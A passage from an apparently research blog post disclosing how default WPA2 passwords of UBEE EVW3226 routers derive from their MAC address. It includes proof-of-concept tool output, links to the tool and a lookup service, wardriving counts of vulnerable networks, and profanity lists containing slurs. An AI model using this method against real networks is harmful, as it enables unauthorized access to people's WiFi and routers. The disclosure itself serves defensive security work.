T|-|-|-|-|-|-|-|-|-
U|-|-|-|-|-|-|-|-|-
V|-|-|-|-|-|-|-|-|-
W|-|-|-|-|-|-|-|-|-
X|-|x|-|-|-|-|-|-|-
Y|-|-|-|-|-|-|-|-|-
Z|-|-|-|-|-|-|-|-|-
{:.mbtablestyle2}
--&gt;

&lt;p&gt;We see this function has better statistical properties. But note it is still
not optimal as we are throwing out the majority of the MD5 output. We can do it even better.&lt;/p&gt;

&lt;p&gt;Last we analyze the function that completely skips steps 3 &amp;amp; 4, so it performs only one
MD5 hashing.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/hypo_one_hash.png&quot;&gt;&lt;img src=&quot;/static/ubee/hypo_one_hash_100.png&quot; alt=&quot;Hypothesis rejection - one hash&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;!--
| Char |  1 pos |  2 pos |  3 pos |  4 pos |  5 pos |  6 pos |  7 pos |  8 pos |  total |
| ---- | -----: | -----: | -----: | -----: | -----: | -----: | -----: | -----: | -----: |
A|-|-|-|-|-|-|-|-|-
B|-|-|-|-|-|-|-|-|-
C|-|-|-|-|-|-|-|-|-
D|-|-|-|-|-|-|-|-|-
E|-|-|-|-|-|-|-|-|-
F|-|-|-|-|-|-|-|-|-
G|-|-|-|-|-|-|-|-|-
H|-|-|-|x|-|-|-|-|-
I|-|-|-|-|-|-|-|-|-
J|-|-|-|-|-|-|-|-|-
K|-|-|-|-|-|-|-|-|-
L|-|-|-|-|-|-|-|-|-
M|-|-|-|-|-|-|-|-|-
N|-|-|-|-|-|-|-|-|-
O|-|-|-|-|-|-|-|-|-
P|-|-|-|-|-|-|-|-|-
Q|-|-|-|-|-|-|-|-|-
R|-|-|-|-|-|-|-|-|-
S|-|-|-|-|-|-|-|-|-
T|-|-|-|-|-|-|-|-|-
U|-|-|-|-|-|-|-|-|-
V|-|-|-|-|-|-|-|-|-
W|-|-|-|-|-|-|-|-|-
X|-|-|-|-|-|-|-|-|-
Y|-|-|-|-|-|-|-|-|-
Z|-|-|-|-|-|-|-|-|-
{:.mbtablestyle2}
--&gt;

&lt;p&gt;From the results we conclude that from mathematical/statistical point of view the simpler function has 
significantly better statistical properties compared to function with some “obfuscation” steps.
MD5 itself is quite good crypto hash function thus I cannot see any benefit 
from step 3, 4 in the original password function. Authors maybe tried to 
make it hard to guess derivation function or relation of MAC address to default password
 so they added this additional step.
If this is the case, it is implemented in the wrong way and pretty much without 
desired effect. Unless authors had some other design goals that we are not aware of.&lt;/p&gt;

&lt;h2 id=&quot;reversing-part-2&quot;&gt;Reversing part 2&lt;/h2&gt;

&lt;p&gt;So I went through the analysis and the next thing completely blew my mind:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/profanities02.png&quot;&gt;&lt;img src=&quot;/static/ubee/profanities02.png&quot; alt=&quot;Profanity check&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You cannot miss the “cocks” right in front of you. So there is a &lt;code class=&quot;highlighter-rouge&quot;&gt;profanities_ptr&lt;/code&gt; which points to the database of
rude words…&lt;/p&gt;

&lt;h3 id=&quot;profanity-analysis&quot;&gt;Profanity analysis&lt;/h3&gt;

&lt;p&gt;From curiosity I went through the database. Here is the small sample:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/profanityHexSample.png&quot;&gt;&lt;img src=&quot;/static/ubee/profanityHexSample.png&quot; alt=&quot;Profanity hex sample&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So the UPC default password generation does apply some obscure hashing function, generates
&lt;code class=&quot;highlighter-rouge&quot;&gt;[A-Z]{8}&lt;/code&gt; string from it and then checks if by any chance some of the rude words is not a substring of the
generated password. Of course, this is a production problem, who wants to deal with an angry customer
calling your help desk complaining the default password on his router is &lt;em&gt;MILFPIMP&lt;/em&gt; or &lt;em&gt;ANALBLOW&lt;/em&gt;, right?&lt;/p&gt;

&lt;p&gt;In case the generated password contains this profanity in it, UBEE engineers added a special, non-insulting alphabet
for help. The alphabet is visible in the beginning of the analyzed function: &lt;code class=&quot;highlighter-rouge&quot;&gt;BBCDFFGHJJKLMNPQRSTVVWXYZZ&lt;/code&gt;, the classic
one with almost all vowels removed. I did a quick search and truly, there cannot be made a rude word from UBEE
profanity database with this alphabet.&lt;/p&gt;

&lt;p&gt;The weird thing about profanity database is there are some of the entries present multiple times, with varying case.
I was wondering why somebody didn’t convert it all to uppercase and removed duplicates at the first place.
Instead of that, UBEE router converts it to uppercase and goes through them incrementally when generating a
random password. Useless CPU cycles… (how many CO emissions could have been saved generating it wisely?).
Another thing, the database contains a word “PROSTITUTE” which is made of 10 characters, but there is no
chance the password would match this.&lt;/p&gt;

&lt;p&gt;Another optimization would be to remove profanities that are substrings of other profanities.
E.g., “COCK”, “COCKS”, “COCKY”, “ACOCK”. Basically this is the whole WPA2 password generation routine. 
&lt;!-- You can find all codes we used, profanity database and more in the repository for the article.--&gt; &lt;!-- //TODO: repo --&gt;&lt;/p&gt;

&lt;p&gt;So to have a bit more fun, we generated a SQLite database for all MAC addresses starting on &lt;code class=&quot;highlighter-rouge&quot;&gt;64:7c:34&lt;/code&gt; =
UBEE vendor prefix, what is \( 2^{24} \) = 16777216 passwords. This is quite a number so the profanity detection
was optimized by building &lt;a href=&quot;https://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_algorithm&quot;&gt;Aho-Corasick&lt;/a&gt;
search automaton, initialized with all profanities from the UBEE database
(very rude automaton indeed). If the profanity was detected as a substring, we also generated a new password from non-insulting alphabet.&lt;/p&gt;

&lt;p&gt;From 16777216 passwords in total, 32105 contained at least one profanity in it, in particular it happened in 0.19% cases.
Thus in 1000 generated password there are almost 2 containing a profanity. It is more than I intuitively expected.&lt;/p&gt;

&lt;p&gt;Table of profanity occurrences with respect to length:&lt;/p&gt;

&lt;table class=&quot;mbtablestyle2&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;# of characters&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Profanity occurrences&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;3&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;23090&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;4&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;6014&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;5&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;3001&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;There were just 4 distinct 3 character profanities. The histogram:&lt;/p&gt;

&lt;!--
```sql
select profanity, count(profanity) as cx from wifi where profanity is not null and length(profanity)=3 group by profanity order by cx desc;
```
--&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/profanities_c3.png&quot;&gt;&lt;img src=&quot;/static/ubee/profanities_c3.png&quot; alt=&quot;Profanity size 3&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;4 character profanity distribution (33 distinct):&lt;/p&gt;

&lt;table class=&quot;mbtablestyle2&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Word&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Occurences&lt;/th&gt;
      &lt;th&gt;Word&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Occurences&lt;/th&gt;
      &lt;th&gt;Word&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Occurences&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;BUTT&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;233&lt;/td&gt;
      &lt;td&gt;HOLE&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;191&lt;/td&gt;
      &lt;td&gt;MILF&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;172&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;BLOW&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;209&lt;/td&gt;
      &lt;td&gt;HATE&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;190&lt;/td&gt;
      &lt;td&gt;CUNT&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;166&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;AIDS&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;205&lt;/td&gt;
      &lt;td&gt;DUMB&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;189&lt;/td&gt;
      &lt;td&gt;SMUT&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;166&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;DIRT&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;205&lt;/td&gt;
      &lt;td&gt;SHIT&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;189&lt;/td&gt;
      &lt;td&gt;PORN&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;165&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SEAM&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;203&lt;/td&gt;
      &lt;td&gt;FUCK&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;183&lt;/td&gt;
      &lt;td&gt;SUCK&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;165&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SLUT&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;201&lt;/td&gt;
      &lt;td&gt;LICK&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;181&lt;/td&gt;
      &lt;td&gt;DOPE&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;162&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;JAIL&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;196&lt;/td&gt;
      &lt;td&gt;DICK&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;178&lt;/td&gt;
      &lt;td&gt;ANAL&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;161&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;COON&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;195&lt;/td&gt;
      &lt;td&gt;ABBO&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;177&lt;/td&gt;
      &lt;td&gt;PISS&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;160&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;GIMP&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;194&lt;/td&gt;
      &lt;td&gt;BALL&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;177&lt;/td&gt;
      &lt;td&gt;HEAD&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;155&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;BOYS&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;192&lt;/td&gt;
      &lt;td&gt;CRAP&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;177&lt;/td&gt;
      &lt;td&gt;COCK&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;154&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;TITS&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;192&lt;/td&gt;
      &lt;td&gt;TURD&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;177&lt;/td&gt;
      &lt;td&gt;PIMP&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;154&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/profanities_c4.png&quot;&gt;&lt;img src=&quot;/static/ubee/profanities_c4.png&quot; alt=&quot;Profanity size 4&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;5 character profanity distribution (including only the most popular ones, in total 517 distinct):&lt;/p&gt;

&lt;table class=&quot;mbtablestyle2&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Word&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Occurences&lt;/th&gt;
      &lt;th&gt;Word&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Occurences&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;HAETS&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;19&lt;/td&gt;
      &lt;td&gt;FECES&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;16&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;TUBAS&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;19&lt;/td&gt;
      &lt;td&gt;NATAL&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;16&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;BABES&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;17&lt;/td&gt;
      &lt;td&gt;SKIRT&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;16&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MICHE&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;17&lt;/td&gt;
      &lt;td&gt;WINEY&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;16&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;WOADS&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;17&lt;/td&gt;
      &lt;td&gt;ERECT&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;15&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/profanities_c5.png&quot;&gt;&lt;img src=&quot;/static/ubee/profanities_c5.png&quot; alt=&quot;Profanity size 5&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thats all from the profanity analysis of the password function. We also wanted to test hypothesis whether this particular function
generates more profanities (from UBEE database) than random function would. In that case it would be rude-password-function.
But due to time constraints we leave this to our readers.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;We managed to reverse engineer both the default WiFi WPA2 password generator function and default SSID generator
functions from router UBEE EVW3226. It works for WiFi networks with SSID of the form &lt;code class=&quot;highlighter-rouge&quot;&gt;UPC1234567&lt;/code&gt; (7 digits).&lt;/p&gt;

&lt;p&gt;The only input of the functions is the MAC address of the device. This MAC address does not exactly
match BSSID, but is slightly shifted. The shift is constant for all routers with this firmware.
Moreover the shift depends on &lt;code class=&quot;highlighter-rouge&quot;&gt;mode&lt;/code&gt; which is a binary flag saying the computation is made for 2.45GHz or 5GHz WiFi mode.&lt;/p&gt;

&lt;p&gt;The exact value of the shift does not matter that much as the computation for one single MAC
address is very fast and both SSID and WPA2 password generator uses the same mechanism to generate input MAC used in computation
(same function inputs).&lt;/p&gt;

&lt;p&gt;Thus if we take WiFi BSSID and compute mapping \( M = \{ \) SSID \( \rightarrow \) WPA2 \( \} \) 
for \( \pm \) 10 MAC around BSSID we can then surely find observed SSID in \( M \) and corresponding default
 WPA2 password.&lt;/p&gt;

&lt;p&gt;We experimentally determined the shifts used. We observed BSSID is same for 2.4 GHz and 5 GHz networks,
 it does not get changed by changing the frequency.
Furthermore, WiFi BSSID corresponds to MTA MAC address (printed on the router label) + 3.
Table below illustrates how BSSID and function input MAC address relates:&lt;/p&gt;

&lt;table class=&quot;mbtablestyle2&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Band&lt;/th&gt;
      &lt;th&gt;BSSID&lt;/th&gt;
      &lt;th&gt;Function input MAC&lt;/th&gt;
      &lt;th&gt;Offset&lt;/th&gt;
      &lt;th&gt;SSID&lt;/th&gt;
      &lt;th&gt;Password&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2.4 GHz&lt;/td&gt;
      &lt;td&gt;64:7c:34:12:34:56&lt;/td&gt;
      &lt;td&gt;64:7c:34:12:34:53&lt;/td&gt;
      &lt;td&gt;-3&lt;/td&gt;
      &lt;td&gt;UPC2659797&lt;/td&gt;
      &lt;td&gt;IVGDQAMI&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5.0 GHz&lt;/td&gt;
      &lt;td&gt;64:7c:34:12:34:56&lt;/td&gt;
      &lt;td&gt;64:7c:34:12:34:55&lt;/td&gt;
      &lt;td&gt;-1&lt;/td&gt;
      &lt;td&gt;UPC2870546&lt;/td&gt;
      &lt;td&gt;PXKRLPCC&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;This is how router label looks like for our example:
 &lt;a href=&quot;/static/ubee/ubee_label.jpg&quot;&gt;&lt;img src=&quot;/static/ubee/ubee_label.jpg&quot; alt=&quot;UBEE label&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our &lt;a href=&quot;https://github.com/yolosec/upcgen/blob/master/ubee_keys.c&quot;&gt;proof-of-concept&lt;/a&gt; generates the following output
after entering the last 3 bytes of BSSID. Password for 2.4GHz and 5.0GHz network is highlighted, others are printed
just for illustration.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./ubee_keys 123456

================================================================================
 upc_ubee_keys // WPA2 passphrase recovery tool for UPC%07d UBEE EVW3226 devices 
================================================================================
by ph4r05, miroc

  your-BSSID: 647C34123456, SSID: UPC3910551, PASS: HAYQQHCS

  near-BSSID: 647C34123451, SSID: UPC0595666, PASS: NRFJHXDX 
  near-BSSID: 647C34123452, SSID: UPC5434630, PASS: UTVBNYJP 
  near-BSSID: 647C34123453, SSID: UPC2659797, PASS: IVGDQAMI  &amp;lt;-- 2.4 Ghz
  near-BSSID: 647C34123454, SSID: UPC2152244, PASS: ZVESFKYD 
  near-BSSID: 647C34123455, SSID: UPC2870546, PASS: PXKRLPCC  &amp;lt;-- 5.0 GHz
  near-BSSID: 647C34123456, SSID: UPC3910551, PASS: HAYQQHCS 
  near-BSSID: 647C34123457, SSID: UPC8366197, PASS: CIIMMAYX
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or try our online service &lt;a href=&quot;https://ubee.deadcode.me&quot;&gt;ubee.deadcode.me&lt;/a&gt; which uses pre-generated password database
to lookup passwords matching given SSID.&lt;/p&gt;

&lt;p&gt;Concluding this attack, any user of UBEE EVW3226 with affected router version should stop using this modem, change 
it for different one or configure properly. Our attack combined with this &lt;a href=&quot;http://www.securityfocus.com/archive/1/538560&quot;&gt;Security Advisory&lt;/a&gt;
can lead to complete take over of the router. Attacker can install malware to the router, spy on your traffic, attack
another nodes in network or build botnet from the routers.&lt;/p&gt;

&lt;p&gt;Our UBEE password generator combined with generator from Blasty can crack majority of UPC networks with SSID &lt;code class=&quot;highlighter-rouge&quot;&gt;UPC1234567&lt;/code&gt; (7 digits).&lt;/p&gt;

&lt;h2 id=&quot;wardriving&quot;&gt;Wardriving&lt;/h2&gt;
&lt;p&gt;And now the funny part.
To face our results with the reality, we did a small &lt;a href=&quot;https://en.wikipedia.org/wiki/Wardriving&quot;&gt;wardriving&lt;/a&gt; test. To those who do not know the term, it is an act of searching for available WiFi networks in a specific area, usually from a car.&lt;/p&gt;

&lt;p&gt;We are based in &lt;a href=&quot;https://en.wikipedia.org/wiki/Brno&quot;&gt;Brno&lt;/a&gt;, which is the second largest city of the Czech Republic. It has population about 400 000 people, lots of them concentrated in city blocks where people are living in tower buildings built during the communist era (known as “panelaky”). This proved to be a good target since there are plenty of WiFis to be caught.&lt;/p&gt;

&lt;p&gt;Our setup was simple - Linux laptop having external WiFi card (TP-LINK TL-WN722N) with &lt;a href=&quot;https://en.wikipedia.org/wiki/Kismet_(software)&quot;&gt;Kismet&lt;/a&gt; and Motorola Moto G Android phone with &lt;a href=&quot;https://play.google.com/store/apps/details?id=net.wigle.wigleandroid&quot;&gt;WiGLE Wifi&lt;/a&gt; application. Long story short - surprisingly the Android phone did a better job and found twice as many networks as the elaborate PC setup. Therefore the further data is mostly from the Android device.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/wardriving_setup.jpg&quot;&gt;&lt;img src=&quot;/static/ubee/wardriving_setup.jpg&quot; alt=&quot;Wardriving setup&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/brno-live-map.html&quot;&gt;&lt;img src=&quot;/static/ubee/wardriving_map.png&quot; alt=&quot;Wardriving map&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We did a 3 hours long drive from which the main results are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We caught &lt;strong&gt;17 516&lt;/strong&gt; unique networks (unique BSSIDs).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2834&lt;/strong&gt; were networks with SSID matching &lt;code class=&quot;highlighter-rouge&quot;&gt;^UPC[0-9]{6,9}$&lt;/code&gt; regular expression, these are WLANs possibly vulnerable to the both attacks combined.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;443&lt;/strong&gt; of them are having BSSID &lt;code class=&quot;highlighter-rouge&quot;&gt;64:7c:34&lt;/code&gt; prefix, these are UPC UBEE devices possibly vulnerable to our new attack (to confirm that, we generated SSIDs from the BSSIDs using our method and compared them with the real SSIDs - all of them matched). Estimately &lt;strong&gt;15.6%&lt;/strong&gt; of all UPC routers are the new UPC UBEE routers.&lt;/li&gt;
  &lt;li&gt;There were additional 97 networks having BSSID &lt;code class=&quot;highlighter-rouge&quot;&gt;64:7c:34&lt;/code&gt; prefix, but not matching UPC SSID naming convention. Administrators of these WLANs had changed SSID and most likely also default passwords. It’s about &lt;strong&gt;18%&lt;/strong&gt; of all UBC UBEE routers.&lt;/li&gt;
  &lt;li&gt;In summary, UPC is fairly widespread here in Brno, having an estimated market share about &lt;strong&gt;16.73%&lt;/strong&gt;. We are possibly able to crack every 6th WiFI network, considering users do not change their default passwords very often.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The test was done in February 2016, but we still expect a lot of UPC routers with default credentials to be out there.&lt;/p&gt;

&lt;h3 id=&quot;wifileaks&quot;&gt;&lt;a href=&quot;http://wifileaks.cz&quot;&gt;wifileaks.cz&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;There is a great project, &lt;a href=&quot;http://wifileaks.cz&quot;&gt;wifileaks.cz&lt;/a&gt; mapping WiFi networks in the Czech Republic. Author of the project
was so kind to provide current WiFi database for testing.&lt;/p&gt;

&lt;p&gt;With help of &lt;a href=&quot;http://wifileaks.cz&quot;&gt;wifileaks.cz&lt;/a&gt; we were able to make more accurate statistics on vulnerable networks in Czech Republic.&lt;/p&gt;

&lt;table class=&quot;mbtablestyle3&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Statistic (col)&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;1970-2016&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;2014-2016&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;2015-2016&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;2016&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;# of records&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;2 198 086&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1 058 797&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;763 430&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;340 409&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;^UPC[0-9]{6,9}&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;82 658 (3.76%)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;62 247 (5.88%)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;49 010 (6.42%)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;22 324 (6.56%)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;^UPC[0-9]{6}&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;35 895&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;17 221&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;11 480&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;4 707&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;^UPC[0-9]{7}&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;43 147&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;41 422&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;33 965&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;14 856&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;^UPC[0-9]{8}&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;8&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;8&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;5&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;2&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;^UPC[0-9]{9}&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;3 608&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;3 596&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;3 560&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;2 759&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UBEE prefix&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;9 271&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;9 268&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;9 036&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;4 809&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UBEE changed SSID&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1 572 (16.97%)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1 571 (16.95%)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1 479 (16.37%)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;743 (15.45%)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UBEE vulnerable&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;em&gt;7 689&lt;/em&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;em&gt;7 687&lt;/em&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;em&gt;7 549&lt;/em&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;em&gt;4 061&lt;/em&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UBEE 2.4 GHz&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;7 675&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;7 673&lt;/td&gt;
